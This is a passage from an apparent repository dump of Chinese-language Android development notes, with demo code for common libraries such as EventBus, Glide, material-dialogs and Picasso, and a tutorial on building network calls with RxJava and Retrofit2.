\"ddd\");\n\n        MultipleItem item5 = new MultipleItem(2, \"\");\n        MultipleItem item6 = new MultipleItem(2, \"\");\n\n\n        List<MultipleItem> list = new ArrayList<MultipleItem>();\n\n        list.add(item1);\n        list.add(item2);\n        list.add(item5);\n        list.add(item3);\n        list.add(item4);\n        list.add(item6);\n\n\n        MultipleItemQuickAdapter adapter = new MultipleItemQuickAdapter(list);\n        adapter.setSpanSizeLookup(new BaseQuickAdapter.SpanSizeLookup() {\n            @Override public int getSpanSize(GridLayoutManager gridLayoutManager, int position) {\n                if (position == 2 || position == 5) {\n                    return 4;\n                } else {\n                    return 2;\n                }\n            }\n        });\n        recyclerView.setLayoutManager(new GridLayoutManager(this, 4));\n        recyclerView.setAdapter(adapter);\n\n        //轻松实现多种布局，点击事件等\n        //添加动画等\n\n\n        adapter.setOnItemClickListener(new BaseQuickAdapter.OnItemClickListener() {//item点击事件\n            @Override public void onItemClick(BaseQuickAdapter adapter, View view, int position) {\n                Toast.makeText(BaseRecyclerViewAdapterActivity.this, \"点击了\" + position, Toast.LENGTH_SHORT).show();\n            }\n        });\n\n        //adapter.addHeaderView();添加headerview\n\n        //可以优化Adapter代码\n        //添加Item事件\n        //添加列表加载动画\n        //添加头部、尾部\n        //自动加载\n        //添加分组\n        //自定义不同的item类型\n        //设置空布局\n        //添加拖拽、滑动删除\n        //分组的伸缩栏\n        //自定义ViewHolder\n    }\n\n    public class MultipleItem implements MultiItemEntity {\n        public static final int TEXT = 1;\n        public static final int IMG = 2;\n        public String text;\n        private int itemType;\n\n        public MultipleItem(int itemType, String text) {\n            this.itemType = itemType;\n            this.text = text;\n        }\n\n        @Override\n        public int getItemType() {\n            return itemType;\n        }\n    }\n\n    public class MultipleItemQuickAdapter extends BaseMultiItemQuickAdapter<MultipleItem, BaseViewHolder> {\n\n        public MultipleItemQuickAdapter(List data) {\n            super(data);\n            addItemType(MultipleItem.TEXT, R.layout.item_recycler_view);\n            addItemType(MultipleItem.IMG, R.layout.item_recycler_view2);\n        }\n\n        @Override\n        protected void convert(BaseViewHolder helper, MultipleItem item) {\n            switch (helper.getItemViewType()) {\n                case MultipleItem.TEXT:\n                    helper.setText(R.id.text, item.text);\n                    break;\n                case MultipleItem.IMG:\n                    //可以在这里面设置图片，现在默认是背景图片\n                    break;\n            }\n        }\n\n    }\n```\n\n![baseAdapter效果图](https://ws1.sinaimg.cn/large/006tNbRwly1ffs8d7egelj30k00zkab8.jpg)\n\n\neventbus:\n\n```\n//当然，我们目前将，发送与接收放在了一个界面里面，他们可以在不同的界面里面，可以实现app内部的通信\n\n    @Override protected void onStart() {\n        super.onStart();\n        EventBus.getDefault().register(this);\n    }\n\n    @Override protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_eventbus);\n        ButterKnife.bind(this);\n    }\n\n    @Subscribe(threadMode = ThreadMode.MAIN)\n    public void onMessageEvent(MessageEvent event) {\n        Toast.makeText(EventBusActivity.this, \"收到的内容 -> \" + event.event, Toast.LENGTH_SHORT).show();\n    }\n\n\n    @Override protected void onDestroy() {\n        EventBus.getDefault().unregister(this);\n        super.onDestroy();\n    }\n\n    @OnClick(R.id.send) public void onViewClicked() {\n        EventBus.getDefault().post(new MessageEvent(\"今天好开心\"));\n    }\n\n    public class MessageEvent{\n        String event;\n\n        public MessageEvent(String event){\n            this.event = event;\n        }\n\n    }\n```\n\n![eventBus效果图](https://ws1.sinaimg.cn/large/006tNbRwly1ffs8ee7l0ij30k00zkdgk.jpg)\n\n\n\n\nglide-transformations:\n\n```\n//可以修改颜色，加滤镜，剪裁，gpu加速等\n\n        Glide.with(this).load(\"https://ws1.sinaimg.cn/large/006tNbRwly1ffs6l68mx3j30ge0gen08.jpg\")\n                .bitmapTransform(new BlurTransformation(this, 30), new CropCircleTransformation(this))\n                .into((ImageView) findViewById(R.id.img1));\n\n        Glide.with(this).load(\"https://ws1.sinaimg.cn/large/006tNbRwly1ffs6l68mx3j30ge0gen08.jpg\")\n                .bitmapTransform(new CropCircleTransformation(this))\n                .into((ImageView) findViewById(R.id.img2));\n\n        Glide.with(this).load(\"https://ws1.sinaimg.cn/large/006tNbRwly1ffs6l68mx3j30ge0gen08.jpg\")\n                .bitmapTransform(new CropSquareTransformation(this))\n                .into((ImageView) findViewById(R.id.img3));\n\n        Glide.with(this).load(\"https://ws1.sinaimg.cn/large/006tNbRwly1ffs6l68mx3j30ge0gen08.jpg\")\n                .bitmapTransform(new ColorFilterTransformation(this, 0x80dfdfdf))\n                .into((ImageView) findViewById(R.id.img4));\n\n```\n\n![glide-transformations效果图](https://ws3.sinaimg.cn/large/006tNbRwly1ffs8fll7j8j30k00zkq6e.jpg)\n\n\nleakcanary：\n\n```\n        /*\n         * LeakCanary用来专注分析系统的进程\n         */\n\n        if (LeakCanary.isInAnalyzerProcess(this)) {\n            return;\n        }\n```\n\n![检测是否有内存泄漏](https://ws1.sinaimg.cn/large/006tNbRwly1ffs8hbi2u2j30jg0a43zd.jpg)\n\n\nAndroid-Bootstrap:\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:layout_marginLeft=\"12dp\"\n    android:layout_marginRight=\"12dp\"\n    android:orientation=\"vertical\"\n    tools:context=\"com.dotengine.linsir.basedevelop.MainActivity\">\n\n\n    <TextView\n        android:id=\"@+id/title\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"50dp\"\n        android:gravity=\"center\"\n        android:text=\"常用库的demo\"\n        android:textSize=\"20sp\"/>\n\n    <TextView\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"1dp\"\n        android:background=\"#dfdfdf\"/>\n\n\n    <com.beardedhen.androidbootstrap.BootstrapButton\n        android:id=\"@+id/nohttp\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"50dp\"\n        android:text=\"nohttp\"\n        app:bootstrapBrand=\"success\"\n        app:bootstrapSize=\"lg\"\n        app:buttonMode=\"regular\"\n        app:roundedCorners=\"true\"\n        app:showOutline=\"false\"\n        android:layout_marginTop=\"12dp\"\n        />\n\n    <com.beardedhen.androidbootstrap.BootstrapButton\n        android:id=\"@+id/glide\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"50dp\"\n        android:text=\"glide\"\n        android:layout_marginTop=\"12dp\"\n        app:bootstrapBrand=\"warning\"\n        app:bootstrapSize=\"lg\"\n        app:buttonMode=\"regular\"\n        app:roundedCorners=\"true\"\n        app:showOutline=\"false\"\n        />\n\n    <com.beardedhen.androidbootstrap.BootstrapButton\n        android:id=\"@+id/baseRecyclerview_adapter_helper\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"50dp\"\n        android:text=\"baseRecyclerView-Adapter-Helper\"\n        android:layout_marginTop=\"12dp\"\n        app:bootstrapBrand=\"primary\"\n        app:bootstrapSize=\"lg\"\n        app:buttonMode=\"regular\"\n        app:roundedCorners=\"true\"\n        app:showOutline=\"false\"\n        />\n\n    <com.beardedhen.androidbootstrap.BootstrapButton\n        android:id=\"@+id/event_bus\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"50dp\"\n        android:text=\"eventbus\"\n        android:layout_marginTop=\"12dp\"\n        app:bootstrapBrand=\"danger\"\n        app:bootstrapSize=\"lg\"\n        app:buttonMode=\"regular\"\n        app:roundedCorners=\"true\"\n        app:showOutline=\"false\"\n        />\n\n    <com.beardedhen.androidbootstrap.BootstrapButton\n        android:id=\"@+id/glide_transformations\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"50dp\"\n        android:layout_marginTop=\"12dp\"\n        android:text=\"glide-transformations\"\n        app:bootstrapBrand=\"success\"\n        app:bootstrapSize=\"lg\"\n        app:buttonMode=\"regular\"\n        app:roundedCorners=\"true\"\n        app:showOutline=\"true\"/>\n\n    <com.beardedhen.androidbootstrap.BootstrapButton\n        android:id=\"@+id/tasty_toast\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"50dp\"\n        android:text=\"TastyToast\"\n        android:layout_marginTop=\"12dp\"\n        app:bootstrapBrand=\"warning\"\n        app:bootstrapSize=\"lg\"\n        app:buttonMode=\"regular\"\n        app:roundedCorners=\"true\"\n        app:showOutline=\"true\"\n        />\n\n    <com.beardedhen.androidbootstrap.BootstrapButton\n        android:id=\"@+id/material_dialogs\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"50dp\"\n        android:text=\"material-dialogs\"\n        android:layout_marginTop=\"12dp\"\n        app:bootstrapBrand=\"primary\"\n        app:bootstrapSize=\"lg\"\n        app:buttonMode=\"regular\"\n        app:roundedCorners=\"true\"\n        app:showOutline=\"true\"\n        />\n\n    <com.beardedhen.androidbootstrap.BootstrapButton\n        android:id=\"@+id/logger\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"50dp\"\n        android:text=\"logger\"\n        android:layout_marginTop=\"12dp\"\n        app:bootstrapBrand=\"danger\"\n        app:bootstrapSize=\"lg\"\n        app:buttonMode=\"regular\"\n        app:roundedCorners=\"true\"\n        app:showOutline=\"true\"\n        />\n\n\n\n</LinearLayout>\n\n```\n\n![bootstrap效果图](https://ws2.sinaimg.cn/large/006tNbRwly1ffs86hx2c2j30k00zkjum.jpg)\n\nTastyToast:\n\n```\n\n    @OnClick(R.id.button1) public void onButton1Clicked() {\n        TastyToast.makeText(getApplicationContext(), \"Hello World !\", TastyToast.LENGTH_LONG, TastyToast.WARNING);\n    }\n\n    @OnClick(R.id.button2) public void onButton2Clicked() {\n        TastyToast.makeText(getApplicationContext(), \"Hello World !\", TastyToast.LENGTH_LONG, TastyToast.CONFUSING);\n    }\n\n    @OnClick(R.id.button3) public void onButton3Clicked() {\n        TastyToast.makeText(getApplicationContext(), \"Hello World !\", TastyToast.LENGTH_LONG, TastyToast.DEFAULT);\n    }\n\n    @OnClick(R.id.button4) public void onButton4Clicked() {\n        TastyToast.makeText(getApplicationContext(), \"Hello World !\", TastyToast.LENGTH_LONG, TastyToast.ERROR);\n    }\n\n    @OnClick(R.id.button5) public void onButton5Clicked() {\n        TastyToast.makeText(getApplicationContext(), \"Hello World !\", TastyToast.LENGTH_LONG, TastyToast.INFO);\n    }\n\n    @OnClick(R.id.button6) public void onButton6Clicked() {\n        TastyToast.makeText(getApplicationContext(), \"Hello World !\", TastyToast.LENGTH_LONG, TastyToast.SUCCESS);\n    }\n```\n\n![TastyToast效果图](https://ws3.sinaimg.cn/large/006tNbRwly1ffs8k9wg7tj30k00zkjst.jpg)\n\n![TastyToast效果图](https://ws3.sinaimg.cn/large/006tNbRwly1ffs8kqfpxjj30k00zk3zy.jpg)\n\nmaterial-dialogs:\n\n```\n @OnClick(R.id.button1) public void onButton1Clicked() {\n        new MaterialDialog.Builder(this)\n                .title(\"标题\")\n                .content(\"是否同意\")\n                .positiveText(\"同意\")\n                .onPositive(new MaterialDialog.SingleButtonCallback() {\n                    @Override public void onClick(@NonNull MaterialDialog dialog, @NonNull DialogAction which) {\n                        Toast.makeText(MaterialDialogActivity.this, \"同意\", Toast.LENGTH_SHORT).show();\n\n                    }\n                })\n                .negativeText(\"不同意\")\n                .onNegative(new MaterialDialog.SingleButtonCallback() {\n                    @Override public void onClick(@NonNull MaterialDialog dialog, @NonNull DialogAction which) {\n                        Toast.makeText(MaterialDialogActivity.this, \"不同意\", Toast.LENGTH_SHORT).show();\n                    }\n                })\n                .show();\n    }\n\n    @OnClick(R.id.button2) public void onButton2Clicked() {\n        MaterialDialog.Builder builder = new MaterialDialog.Builder(this)\n                .title(\"标题\")\n                .content(\"是否同意\")\n                .positiveText(\"同意\");\n\n        MaterialDialog dialog = builder.build();\n        dialog.show();\n        //dialog.dismiss();\n    }\n\n    @OnClick(R.id.button3) public void onButton3Clicked() {\n        new MaterialDialog.Builder(this)\n                .title(\"标题\")\n                .content(\"是否同意\")\n                .positiveText(\"1111\")\n                .negativeText(\"2222\")\n                .neutralText(\"3333\")\n                .show();\n    }\n\n    @OnClick(R.id.button4) public void onButton4Clicked() {\n        new MaterialDialog.Builder(this)\n                .onPositive(new MaterialDialog.SingleButtonCallback() {\n                    @Override\n                    public void onClick(@NonNull MaterialDialog dialog, @NonNull DialogAction which) {\n                        Toast.makeText(MaterialDialogActivity.this, \"1111\", Toast.LENGTH_SHORT).show();\n                    }\n                })\n                .onNeutral(new MaterialDialog.SingleButtonCallback() {\n                    @Override\n                    public void onClick(@NonNull MaterialDialog dialog, @NonNull DialogAction which) {\n                        Toast.makeText(MaterialDialogActivity.this, \"2222\", Toast.LENGTH_SHORT).show();\n                    }\n                })\n                .onNegative(new MaterialDialog.SingleButtonCallback() {\n                    @Override\n                    public void onClick(@NonNull MaterialDialog dialog, @NonNull DialogAction which) {\n                        Toast.makeText(MaterialDialogActivity.this, \"3333\", Toast.LENGTH_SHORT).show();\n                    }\n                })\n                .onAny(new MaterialDialog.SingleButtonCallback() {\n                    @Override\n                    public void onClick(@NonNull MaterialDialog dialog, @NonNull DialogAction which) {\n                        Toast.makeText(MaterialDialogActivity.this, \"4444\", Toast.LENGTH_SHORT).show();\n                    }\n                });\n    }\n\n    @OnClick(R.id.button5) public void onButton5Clicked() {\n        new MaterialDialog.Builder(this)\n                .iconRes(R.mipmap.ic_launcher)\n                .limitIconToDefaultSize()\n                .title(\"test\")\n                .positiveText(\"allow\")\n                .negativeText(\"deny\")\n                .onAny(new MaterialDialog.SingleButtonCallback() {\n                    @Override\n                    public void onClick(@NonNull MaterialDialog dialog, @NonNull DialogAction which) {\n                        Toast.makeText(MaterialDialogActivity.this, \"Prompt checked? \" + dialog.isPromptCheckBoxChecked(), Toast.LENGTH_SHORT).show();\n                    }\n                })\n                .checkBoxPromptRes(R.string.app_name, false, null)\n                .show();\n    }\n\n    @OnClick(R.id.button6) public void onButton6Clicked() {\n        new MaterialDialog.Builder(this)\n                .title(\"test\")\n                .items(R.array.good)\n                .itemsCallback(new MaterialDialog.ListCallback() {\n                    @Override\n                    public void onSelection(MaterialDialog dialog, View view, int which, CharSequence text) {\n                        Toast.makeText(MaterialDialogActivity.this, \"点击的是  \" + which, Toast.LENGTH_SHORT).show();\n                    }\n                })\n                .show();\n    }\n\n    @OnClick(R.id.button7) public void onButton7Clicked() {\n        new MaterialDialog.Builder(this)\n                .title(\"test\")\n                .items(R.array.good)\n                .itemsCallbackSingleChoice(-1, new MaterialDialog.ListCallbackSingleChoice() {\n                    @Override\n                    public boolean onSelection(MaterialDialog dialog, View view, int which, CharSequence text) {\n                        /**\n                         * If you use alwaysCallSingleChoiceCallback(), which is discussed below,\n                         * returning false here won't allow the newly selected radio button to actually be selected.\n                         **/\n                        return true;\n                    }\n                })\n                .positiveText(R.string.app_name)\n                .show();\n    }\n```\n\n\n![MD_DIALOG效果图](https://ws3.sinaimg.cn/large/006tNbRwly1ffs8qiu2khj30k00zkjsr.jpg)\n\n![MD_DIALOG效果图](https://ws2.sinaimg.cn/large/006tNbRwly1ffs8lehyvrj30k00zkmy9.jpg)\n\n\n[项目源码下载](https://github.com/linsir6/BaseDevelop)\n\n\n----\n\n\n以上便是对这些库的一个小的总结，大家如果感觉这些库不错的话，建议上github上面看一下他们的文档，可以学到更多的用法，并且可以看到他们的源码。希望大家同样可以上github给我star，或者follow~\n[项目源码下载](https://github.com/linsir6/BaseDevelop)\n"
  },
  {
    "path": "docs/android/AndroidNote/Android开源框架相关/Android黑科技——ButterKnifeZelezny.md",
    "content": "> 先上一张效果图：\n\n![效果图](https://raw.githubusercontent.com/avast/android-butterknife-zelezny/master/img/zelezny_animated.gif)\n\n\n当一个XML中元素实在过多的时候，手动绑定id，不但浪费时间，而且非常的麻烦，有了这个黑科技之后，就可以轻松很多，解放双手啦。这是一个Android的插件，它是基于ButterKnife开发的，想要安装这个需要先添加Butterknife的 依赖，具体步骤如下：\n\n----\n## 添加Butterknife依赖\n\n```\ndependencies {\n  compile 'com.jakewharton:butterknife:8.5.1'\n  annotationProcessor 'com.jakewharton:butterknife-compiler:8.5.1'\n}\n```\n\n```\nbuildscript {\n  repositories {\n    mavenCentral()\n   }\n  dependencies {\n    classpath 'com.jakewharton:butterknife-gradle-plugin:8.5.1'\n  }\n}\n```\n\n```\napply plugin: 'com.android.library'\napply plugin: 'com.jakewharton.butterknife'\n```\n\n## 依赖添加完毕，安装插件\n\n\n> in Android Studio: go to Preferences → Plugins → Browse repositories and search for ButterKnife Zelezny\n\n安装完毕后，只需要重新启动一下studio，然后右键R.layout.activity_main，选择Generate，然后选择Generate ButterKnife Injections，就ok啦~\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android开源框架相关/Picasso-android-load-image-layout.md",
    "content": "> 以前一直都是用Picasso将图片设置在imageView上面，今天有个项目需求，是将imageView设置在layout的background上面，特意查了一下，现在打算记录一下。\n\n```\npicasso一般的用法\n\nPicasso\n                .with(mContext)\n                .load(url)\n                .fit()\n                .centerCrop()\n                .into(holder.imageView);\n```\n\n----\n\n如果想将图片设置在其它地方：\n\n```\n\nPicasso.with(this).load(\"http://imageUrl\").into(new Target() {\n            @Override\n            public void onBitmapLoaded(Bitmap bitmap, Picasso.LoadedFrom from) {\n               mYourLayout.setBackground(new BitmapDrawable(bitmap));\n            }\n\n            @Override\n            public void onBitmapFailed(Drawable errorDrawable) {\n\n            }\n\n            @Override\n            public void onPrepareLoad(Drawable placeHolderDrawable) {\n\n            }\n        });\n\n```\n\n\n或者采用：\n\n```\n\nImageView img = new ImageView(this);\n               Picasso.with(this)\n              .load(imageUri)\n              .fit()\n              .centerCrop()\n              .into(img, new Callback() {\n                        @Override\n                        public void onSuccess() {\n\n                            myLayout.setBackgroundDrawable(img.getDrawable());\n                        }\n\n                        @Override\n                        public void onError() {\n\n                        }\n                    });\n```\n\n\nthat's all.\n"
  },
  {
    "path": "docs/android/AndroidNote/Android开源框架相关/RxJava+retrofit2实现安卓中网络操作.md",
    "content": "\n![](http://upload-images.jianshu.io/upload_images/2585384-a66c4068a6f16df5.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)#RxJava +retrofit2实现安卓中网络操作~\n\n>在安卓中想实现网络操作有多种方式，可能许多没有经历过团队开发的安卓工程师，经常使用到的是第三方的云后台，但是其实它们的底层使用的也一定是安卓中网络的通信框架，例如：volley，nohttp，okhttp等。\n\n----\n\n>今天我们要介绍的retrofit2底层就是用的okhttp的通信方式，下面简单介绍一下为什么写这篇文章吧，在开发团队项目以前，我也和我小伙伴交流过，我说咱们一直采用第三方的云后台，你说咱们怎么和真正的服务器做联系啊，我们那个时候异口同声的说不知道，后来在我做的第一个团队项目“黑大盒子”的时候，我就学习了okHttp，那个时候感觉很好用啊，代码也挺简洁的，直至后来在一次，和我学长的交流过程中了解了可以用RxJava +retrofit2实现网络的通信，那个时候我真的是下了很大的功夫研究，结果是毫无头绪，因为那个时候，我对观察者模式，和rxjava的系统的思想就是非常的不够的。在后来我学习了观察者模式，又一直在找rxjava的资料使我对这种网络通信有了一定的了解。\n\n##使用RxJava +retrofit2实现网络通信的优势\n- 请求时间和返回时间短（性能上的优势）\n- 代码简介，已经把封装实现到了极致\n\n> 毫不夸张的说，如果公司没有自己的网络操作的框架，采用这种方式一定是最佳选择之一\n\n##RxJava的简介\n链接：https://github.com/ReactiveX/RxJava\nRxJava采用的思想便是观察者模式，可以异步实现实现我们的需求，简单的说，RxJava并不是轮询去检测被观察的对象，而是当被观察的对象有任何举动的时候都会告诉我们，我们便可以根据这个消息决定要做什么处理。\n\n\n##retrofit2的简介\n链接：https://github.com/square/retrofit\nretrofit这个库的功能非常的强大，它可以直接向Gson添加依赖，解析我们返回的json数据非常的轻松，而且我们实现网络操作也非常的便捷，非常轻松的就可以实现在工作线程请求网络操作，在主线程实现对网络操作结果的处理。\n\n>在这里我要非常正式的声明一下，不是笔者懒，用两句话，就把这么传奇的两个第三方开源库就给介绍完了，而且本文主要的目的是教大家怎么用它们实现网络操作，我接下来的文章会非常认真的介绍，观察者模式、RxJava、retrofit，这三方面的知识。\nps：我始终认为，在你学习一个编程上的知识的时候，你最先要做的不是弄明白它，而是要用明白它，然后跟着代码的逻辑走一遍，看看它是怎么实现的，然后可以看看人家的官方文档，或者大神们的博客学习一下，最后我们还可以阅读以下源码，这样学起来可能会轻松，也会比较高效。\n\n----\n\n#RxJava +retrofit2的使用！！！\n\n\n\n第一步：在build.gradle中添加依赖\n````\n// RxJava Android 支持\ncompile 'io.reactivex:rxjava:1.1.6'\ncompile 'io.reactivex:rxandroid:1.2.1'\n// Retrofit 网络支持\ncompile 'com.squareup.retrofit2:retrofit:2.1.0'compile 'com.squareup.retrofit2:converter-gson:2.1.0'\n// Gson 适配器\ncompile 'com.squareup.retrofit2:adapter-rxjava:2.1.0'\n\n````\n\n\n第二步：添加必要的权限\n\n````\n<uses-permission android:name=\"android.permission.INTERNET\"/>\n    <uses-permission android:name=\"android.permission.WRITE_EXTERNAL_STORAGE\"/>\n    <uses-permission android:name=\"android.permission.ACCESS_COARSE_LOCATION\"/>\n    <uses-permission android:name=\"android.permission.ACCESS_NETWORK_STATE\"/>\n    <uses-permission android:name=\"android.permission.ACCESS_FINE_LOCATION\"/>\n    <uses-permission android:name=\"android.permission.READ_PHONE_STATE\"/>\n    <uses-permission android:name=\"android.permission.CHANGE_WIFI_STATE\"/>\n    <uses-permission android:name=\"android.permission.ACCESS_WIFI_STATE\"/>\n    <uses-permission android:name=\"android.permission.CHANGE_CONFIGURATION\"/>\n    <uses-permission android:name=\"android.permission.WRITE_SETTINGS\"/>\n````\n\n第三步：定义一个接口，实现网络操作\n这个类，是在我们主URL后面链上的字段，然后泛型的是要返回数据我要将它解析成什么样子，里面的参数就是post请求需要携带的参数了。\n\n````\n/**\n * Created by lin_sir on 2016/6/29.网络协议\n */\n\npublic interface Api {\n\n    @FormUrlEncoded\n    @POST(\"getCode\")\n    Observable<ResponseModel_nolist> getCode(@Field(\"tel\") String tel);\n\n    @FormUrlEncoded\n    @POST(\"register\")\n    Observable<ResponseModel_nolist> register(@Field(\"tel\") String tel, @Field(\"password\") String password, @Field(\"code\") String code);\n            \n}\n\n````\n\n第四步：实现刚才泛型的类\n为了让大家使用起来毫无难度，我就在这里把这个简单的类也粘出来了\n\n````\n/**\n * Created by lin_sir on 2016/7/7.结果中不带有list的网络返回结果\n */\npublic class ResponseModel_nolist {\n\n    private int code;\n    private String msg;\n\n    private obj obj;\n\n    public int getCode() {\n        return code;\n    }\n\n    public void setCode(int code) {\n        this.code = code;\n    }\n\n    public String getMsg() {\n        return msg;\n    }\n\n    public void setMsg(String msg) {\n        this.msg = msg;\n    }\n\n    public com.example.lin_sir_one.tripbuyer.model.obj getObj() {\n        return obj;\n    }\n\n    public void setObj(com.example.lin_sir_one.tripbuyer.model.obj obj) {\n        this.obj = obj;\n    }\n}\n````\n\n\n第五步：实现一个BASE_URL,以后我们的网络操作走的url都是在这些url后面加字段\n当然我打星号的，都是我们公司后台暴露出来的接口啦，虽然我们做了负载均衡，也做了防止别人攻击的处理啦，但是在这里暴露出来好像也还是不太好~\n\n\n````\n\n\n/* Created by lin_sir on 2016/6/29.全局常量定义\n */\npublic class Constant {\n\n    public static final String BASE_URL = \"http://xxx.xxx.xxx.xxx:8080/lxms-user/member/api/\";\n\n    public static final String BASE_BUY_URL = \"http://xxx.xxx.xxx.xxx:8080//lxms-user/buyer/api/\";\n\n    public static final String BASE_SELL_URL = \"http://xxx.xxx.xxx.xxx:8080/lxms-user/seller/api/\";\n\n}\n\n````\n\n第六步：实现一个Apiservice，这个类的作用就是实现我们的网络操作的直接方式~\n\n````\n\n\n/**\n * Created by lin_sir on 2016/7/7.调用api接口,获取验证码和注册采用这个接口\n */\npublic class ApiService {\n\n    private Api mApi;\n    private Context mContext;\n    private static ApiService mInstance;\n\n//-------- 存在内存泄漏的写法,如果传入 Activity 的 Context,会导致 Activity 无法被回收-------------------\n//    private ApiService(Context mContext) {\n//        this.mContext = mContext;\n//        mApi = RetrofitClient.getClient(mContext).create(Api.class);\n//    }\n//\n//    public static ApiService getInstance(Context mContext) {\n//        if (mInstance == null) {\n//            mInstance = new ApiService(mContext);\n//        }\n//        return mInstance;\n//    }\n//------------------------------------------------------------------------------------------------\n\n    private ApiService() {\n        this.mContext = BaseApplication.get().getAppContext();\n        mApi = RetrofitClient.getClient(mContext).create(Api.class);\n    }\n\n    public static ApiService getInstance() {\n        if (mInstance == null) {\n            mInstance = new ApiService();\n        }\n        return mInstance;\n    }\n\n    /**\n     * 获取验证码\n     */\n    public void getCode(HttpResultListener<Boolean> listener, final String tel) {\n        mApi.getCode(tel)\n                .map(new HttpResultFuncNoList())\n                .map(new Func1<String, Boolean>() {\n                    @Override\n                    public Boolean call(String s) {\n                        if (s.equals(\"ok\")) {\n                            return true;\n                        } else {\n                            return false;\n                        }\n                    }\n                })\n                .subscribeOn(Schedulers.io())//在工作线程请求网络\n                .observeOn(AndroidSchedulers.mainThread())//在主线程处理结果\n                .subscribe(new HttpResultSubscriber<>(listener));\n    }\n\n\n\n\n    private static class HttpResultSubscriber<T> extends Subscriber<T> {\n\n        private HttpResultListener<T> mListener;\n\n        public HttpResultSubscriber(HttpResultListener<T> listener) {\n            mListener = listener;\n        }\n\n\n        @Override\n        public void onCompleted() {\n\n        }\n\n        @Override\n        public void onError(Throwable e) {\n            if (mListener != null) {\n                mListener.onError(e);\n            }\n        }\n\n        @Override\n        public void onNext(T t) {\n            if (mListener != null) {\n                mListener.onSuccess(t);\n            }\n        }\n    }\n\n    /**\n     * 对返回结果做统一处理,只有当结果码为 100 时,才返回正常,否则返回错误,不带list的\n     */\n    private class HttpResultFuncNoList implements Func1<ResponseModel_nolist, String> {\n\n        @Override\n        public String call(ResponseModel_nolist responseModel) {\n\n            if (responseModel.getCode() == NetworkException.REQUEST_OK) {\n                Log.i(\"lin\", \"---lin--->  目前没发生错误：  \" + responseModel.getCode());\n                return responseModel.getMsg();\n            } else {\n                Log.i(\"lin\", \"---lin--->  错误代码：  \" + responseModel.getCode());\n                throw new NetworkException(responseModel.getCode());\n            }\n        }\n    }\n\n}\n\n\n\n````\n\n\n第七步：实现网络操作的回调接口\n\n````\n\n\n/**\n * Created by lin_sir on 2016/7/7.网络操作的回调接口\n */\npublic interface HttpResultListener<T> {\n\n    void onSuccess(T t);\n\n    void onError(Throwable e);\n\n}\n\n\n\n````\n\n第八步：实现retrifit2客户端\n在这个客户端里面，我们不仅实现了Gson的适配器，也实现了Rxjava的适配器，还为我们的操作添加了主URL就可以了。\n````\n\npublic class RetrofitClient {\n\n    /**\n     * 采用base_url\n     */\n    public static Retrofit getClient(Context context) {\n        return new Retrofit.Builder()\n                .baseUrl(Constant.BASE_URL)\n                //.client(httpClient(context))\n                .addConverterFactory(GsonConverterFactory.create())//Gson 适配器\n                .addCallAdapterFactory(RxJavaCallAdapterFactory.create())// RxJava 适配器\n                .build();\n    }\n}\n\n\n````\n\n\n    其实我们的网络操作就已经实现完了，如果我们代码习惯比较好的话，可以把所有的服务器返回的状态吗放在一起进行统一的处理。\n\n\n统一处理后台返回状态码的代码：\n\n````\n\n\n/**\n * Created by tc on 6/21/16. 网络操作错误\n */\npublic class NetworkException extends RuntimeException {\n\n    public static final int REQUEST_OK = 100;\n    public static final int REQUEST_FAIL = 101;\n    public static final int METHOD_NOT_ALLOWED = 102;\n    public static final int PARAMETER_ERROR = 103;\n    public static final int UID_OR_PWD_ERROR = 104;\n    public static final int SERVER_INTERNAL_ERROR = 105;\n    public static final int REQUEST_TIMEOUT = 106;\n    public static final int CONNECTION_ERROR = 107;\n    public static final int VERIFY_EXPIRED = 108;\n    public static final int NO_DATA = 109;\n\n\n    public NetworkException(int resultCode) {\n        this(getNetworkExceptionMessage(resultCode));\n    }\n\n    public NetworkException(String detailMessage) {\n        super(detailMessage);\n    }\n\n    /**\n     * 将结果码转换成对应的文本信息\n     */\n    private static String getNetworkExceptionMessage(int code) {\n        String message = \"\";\n        switch (code) {\n            case REQUEST_OK:\n                message = \"请求成功\";\n                break;\n            case REQUEST_FAIL:\n                message = \"请求失败\";\n                break;\n\n            case METHOD_NOT_ALLOWED:\n                message = \"请求方式不允许\";\n                break;\n            case PARAMETER_ERROR:\n                message = \"用户不存在\";\n                break;\n            case UID_OR_PWD_ERROR:\n                message = \"用户名或密码错误\";\n                break;\n            case SERVER_INTERNAL_ERROR:\n                message = \"服务器内部错误\";\n                break;\n            case REQUEST_TIMEOUT:\n                message = \"请求超时\";\n                break;\n            case CONNECTION_ERROR:\n                message = \"连接错误\";\n                break;\n            case VERIFY_EXPIRED:\n                message = \"验证过期\";\n                break;\n            case NO_DATA:\n                message = \"没有数据\";\n                break;\n            case 110:\n                message = \"该用户已存在\";\n                break;\n            default:\n                message = \"未知错误\";\n        }\n        return message;\n    }\n}\n\n\n````\n\n\n好了，我们已经可以使用RxJava +retrofit2实现网络操作了：\n\n````\n\nHttpResultListener<List<JourneyModel>> listener = new HttpResultListener<List<JourneyModel>>() {\n            @Override\n            public void onSuccess(List<JourneyModel> journeyModels) {\n                KLog.d(\"----lin---->  成功\");\n            }\n\n            @Override\n            public void onError(Throwable e) {\n                KLog.d(\"----lin---->  失败\" + e.toString());\n            }\n        };\n        ApiService6.getInstance().route2(listener, 